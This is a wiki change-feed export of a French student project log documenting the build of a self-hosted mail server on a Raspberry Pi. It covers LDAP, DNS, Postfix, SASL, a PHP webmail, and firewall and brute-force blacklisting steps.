====Interface Web====&lt;br /&gt;
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton &amp;quot;Write an email&amp;quot;, présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 13 (14/12/2015)===&lt;br /&gt;
&lt;br /&gt;
* Écriture du rapport intermédiaire&lt;br /&gt;
* Réalisation du support de soutenance&lt;br /&gt;
&lt;br /&gt;
===Semaine 14 (04/01/2016)===&lt;br /&gt;
===Semaine 15 (11/01/2016)===&lt;br /&gt;
===Semaine 16 (18/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut &amp;quot;pj&amp;quot; quand une pièce jointe est présente.&lt;br /&gt;
&lt;br /&gt;
===Semaine 17 (25/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web :&lt;br /&gt;
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé&lt;br /&gt;
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)&lt;br /&gt;
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans &amp;quot;Envoyés&amp;quot;, les mails reçus dans &amp;quot;Boite de réception&amp;quot;, manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas&lt;br /&gt;
&lt;br /&gt;
===Semaine 18 (01/02/2016)===&lt;br /&gt;
===Semaine 19 (08/02/2016)===&lt;br /&gt;
===Semaine 20 (15/02/2016)===&lt;br /&gt;
===Semaine 21 (22/02/2016)===&lt;br /&gt;
&lt;br /&gt;
== Fichiers Rendus ==&lt;br /&gt;
Interface web : [https://intimail.pw intiMail.pw]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Projet : [http:// Soon™]&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=25943</id>
		<title>P9 Système d'hébergement domestique</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=25943"/>
				<updated>2016-02-02T12:20:09Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : /* Semaine 17 (25/01/2016) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.&lt;br /&gt;
&lt;br /&gt;
Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation. &lt;br /&gt;
&lt;br /&gt;
Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
Matériel obtenu à ce jour :&lt;br /&gt;
* 1 Raspberry Pi 2 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Carte µSD 8 GB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Cable USB/µUSB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Câble RJ45 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.&lt;br /&gt;
&lt;br /&gt;
Nous allons étudier et approfondir les points suivants : &lt;br /&gt;
&lt;br /&gt;
* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX&lt;br /&gt;
* Installer un serveur de messagerie SMTP, et IMAP/POP&lt;br /&gt;
* Investiguer du côté de POSTFIX&lt;br /&gt;
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système&lt;br /&gt;
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)&lt;br /&gt;
&lt;br /&gt;
Ce qui doit pouvoir être fait :&lt;br /&gt;
* Distinction administrateur / utilisateur&lt;br /&gt;
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)&lt;br /&gt;
* Gestion des quotas/espace disque réservé par ex&lt;br /&gt;
* Choix du quota (par qui ? options ?)&lt;br /&gt;
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?&lt;br /&gt;
&lt;br /&gt;
Prévision du Matériel :&lt;br /&gt;
* Raspberry Pi 2&lt;br /&gt;
* Alimentation RPi&lt;br /&gt;
* Carte SD (8Go)&lt;br /&gt;
&lt;br /&gt;
Le module énergétique sera équipé des éléments suivants :&lt;br /&gt;
* 1 MPPT&lt;br /&gt;
* Convertisseur Numérique Analogique : MAX5250&lt;br /&gt;
* Potentiomètre : MCP4261&lt;br /&gt;
* Relai : R561D.56 NTE&lt;br /&gt;
* Résistances : Deux de 100Ω et deux de 10kΩ&lt;br /&gt;
* une LED&lt;br /&gt;
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4 &lt;br /&gt;
* Circuit d'alimentation autonome : cellule photovoltaique &lt;br /&gt;
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)&lt;br /&gt;
*Postfix pour SMTP&lt;br /&gt;
*Dovecot, Courier ou Cyrus pour IMAP/POP3&lt;br /&gt;
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)&lt;br /&gt;
*LMTP &lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion particulière des gros mails et notamment de leurs pièces jointes&lt;br /&gt;
*Bigfile pour un stockage en ligne&lt;br /&gt;
*Décodage base 64 des pièces jointes ? (difficulté++)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion des utilisateurs&lt;br /&gt;
*Plusieurs comptes, en utilisant LDAP&lt;br /&gt;
*La possibilité de s'identifier en tant qu'administrateur&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Listes de diffusion&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Comptes mail temporaires (10 minutes mail like)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Antivirus &amp;amp; Spam&lt;br /&gt;
*ClamAV ou SpamAssassin ou autres : lourd. &lt;br /&gt;
*iptables dans un premier temps.&lt;br /&gt;
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, &amp;quot;boites intelligentes&amp;quot; de spams.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)&lt;br /&gt;
*Record A&lt;br /&gt;
*Record MX&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)&lt;br /&gt;
&lt;br /&gt;
Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.&lt;br /&gt;
&lt;br /&gt;
===Semaine 3 (05/10/2015)===&lt;br /&gt;
Nous avons précisé les éléments constituants l'interface web :&lt;br /&gt;
* Gestion des comptes (création, modification, suppression d'utilisateurs...)&lt;br /&gt;
* Gestion des listes de diffusions&lt;br /&gt;
* Gestion des quotas&lt;br /&gt;
* Affichage du courrier&lt;br /&gt;
* Gestion de l'antivirus&lt;br /&gt;
&lt;br /&gt;
===Semaine 4 (12/10/2015)===&lt;br /&gt;
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].&lt;br /&gt;
&lt;br /&gt;
Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -x&lt;br /&gt;
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -D &amp;quot;cn=admin, dc=domain,dc=tld&amp;quot; -W&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; décrivant cette structure et l'avons ajoutée avec la commande :&lt;br /&gt;
 ldapadd -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -f ldif/mail_tree.ldif&lt;br /&gt;
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -b &amp;quot;dc=domain,dc=tld&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; et de l'ajouter de la même manière que précedemment avec &amp;lt;code&amp;gt;ldapadd&amp;lt;/code&amp;gt;. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl &amp;lt;code&amp;gt;add_user.pl&amp;lt;/code&amp;gt; simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.&lt;br /&gt;
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; et même tester l'identification avec :&lt;br /&gt;
 ldapwhoami -vvv -h localhost -D &amp;quot;cn=username,dc=mail,dc=domain,dc=tld&amp;quot; -x -W&lt;br /&gt;
Si la commande renvoie &amp;lt;code&amp;gt;Result: Success (0)&amp;lt;/code&amp;gt; alors l'identification a fonctionné.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La commande &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -b &amp;quot;dc=mail,dc=domain,dc=tld&amp;quot; &amp;quot;(&amp;amp;(objectClass=CourierMailAccount))&amp;quot;&lt;br /&gt;
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.&lt;br /&gt;
&lt;br /&gt;
===Semaine 5 (19/10/2015)===&lt;br /&gt;
==== DNS et SSL ====&lt;br /&gt;
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]&lt;br /&gt;
&lt;br /&gt;
nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.&lt;br /&gt;
&lt;br /&gt;
De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.&lt;br /&gt;
&lt;br /&gt;
La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :&lt;br /&gt;
 @       IN      MX      10 mail.intimail.pw.&lt;br /&gt;
 mail    IN      A       193.48.57.171&lt;br /&gt;
&lt;br /&gt;
De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :&lt;br /&gt;
 171     IN      PTR     mail.intimail.pw.&lt;br /&gt;
&lt;br /&gt;
A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.&lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]&lt;br /&gt;
&lt;br /&gt;
Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.&lt;br /&gt;
&lt;br /&gt;
Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean : &lt;br /&gt;
 dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw&lt;br /&gt;
 uid: jvaljean&lt;br /&gt;
 mail: jvaljean@intimail.pw&lt;br /&gt;
 sn: Valjean&lt;br /&gt;
 givenName: Jean&lt;br /&gt;
 displayName: Jean Valjean&lt;br /&gt;
 mailbox: intimail.pw/jvaljean/&lt;br /&gt;
 homeDirectory: /home/vmail/&lt;br /&gt;
 objectClass: top&lt;br /&gt;
 objectClass: inetOrgPerson&lt;br /&gt;
 objectClass: CourierMailAccount&lt;br /&gt;
 userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg&lt;br /&gt;
&lt;br /&gt;
Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire. &lt;br /&gt;
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.&lt;br /&gt;
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].&lt;br /&gt;
&lt;br /&gt;
Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :&lt;br /&gt;
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)&lt;br /&gt;
* 1,90s sur une  connexion 4G moyenne (15MB/s)&lt;br /&gt;
* 2,80s sur une connexion DSL moyenne (2MB/s)&lt;br /&gt;
* 1,90s sur une connexion Wifi (30MB/s)&lt;br /&gt;
* 1,70s sur une connexion THD (100MB/s)&lt;br /&gt;
Résultats qui semble apporter bon compris poids/qualité de l'interface.&lt;br /&gt;
&lt;br /&gt;
Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache&lt;br /&gt;
 Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(&lt;br /&gt;
&lt;br /&gt;
===Semaine 6 (26/10/2015)===&lt;br /&gt;
==== Firewall ====&lt;br /&gt;
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).&lt;br /&gt;
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :&lt;br /&gt;
 cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed                           # Pour lister les messages de connexion échouées&lt;br /&gt;
 sed -ne 's/.*\[\([0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\)\].*/\1/p'      # Pour n'afficher que les ip&lt;br /&gt;
 *file* | sort | uniq                                                                     # Pour classer et éliminer les doublons&lt;br /&gt;
&lt;br /&gt;
On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.&lt;br /&gt;
&lt;br /&gt;
==== Postfix ====&lt;br /&gt;
Nous avons installé l'agent de transfert de mail Postfix (&amp;lt;code&amp;gt;apt-get install postfix postfix-ldap&amp;lt;/code&amp;gt;) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :&lt;br /&gt;
 telnet ex 25&lt;br /&gt;
 Trying xxx.xxx.xxx.xxx...&lt;br /&gt;
 Connected to intimail.pw.&lt;br /&gt;
 Escape character is '^]'.&lt;br /&gt;
 220 mail.intimail.pw&lt;br /&gt;
 ehlo intimail.pw&lt;br /&gt;
 250-mail.intimail.pw&lt;br /&gt;
 250-PIPELINING&lt;br /&gt;
 250-SIZE 10240000&lt;br /&gt;
 250-VRFY&lt;br /&gt;
 250-ETRN&lt;br /&gt;
 250-ENHANCEDSTATUSCODES&lt;br /&gt;
 250-8BITMIME&lt;br /&gt;
 250 DSN&lt;br /&gt;
 MAIL FROM:toto(arobase)titi.com&lt;br /&gt;
 250 2.1.0 Ok&lt;br /&gt;
 RCPT TO:jvaljean(arobase)intimail.pw&lt;br /&gt;
 250 2.1.5 Ok&lt;br /&gt;
 DATA&lt;br /&gt;
 354 End data with &amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;.&amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;&lt;br /&gt;
 Subject: Premier Test&lt;br /&gt;
 Here is my test&lt;br /&gt;
 .&lt;br /&gt;
 250 2.0.0 Ok: queued as 0EDFC21428&lt;br /&gt;
 quit&lt;br /&gt;
 221 2.0.0 Bye&lt;br /&gt;
 Connection closed by foreign host.&lt;br /&gt;
&lt;br /&gt;
Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :&lt;br /&gt;
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.&lt;br /&gt;
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions&lt;br /&gt;
&lt;br /&gt;
==== Cyrus SASL ====&lt;br /&gt;
&lt;br /&gt;
Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail. &lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
&lt;br /&gt;
Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une &amp;quot;vue globale&amp;quot;, réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.&lt;br /&gt;
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet &amp;quot;Manage&amp;quot; d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.&lt;br /&gt;
&lt;br /&gt;
Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.&lt;br /&gt;
&lt;br /&gt;
Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).&lt;br /&gt;
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].&lt;br /&gt;
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.&lt;br /&gt;
Notre architecture s'oriente donc sur les schémas suivants :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]&lt;br /&gt;
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]&lt;br /&gt;
&lt;br /&gt;
==== Scripting ====&lt;br /&gt;
&lt;br /&gt;
Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer &amp;lt;code&amp;gt;libswitch-perl&amp;lt;/code&amp;gt; pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.&lt;br /&gt;
&lt;br /&gt;
===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]&lt;br /&gt;
&lt;br /&gt;
Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier. &lt;br /&gt;
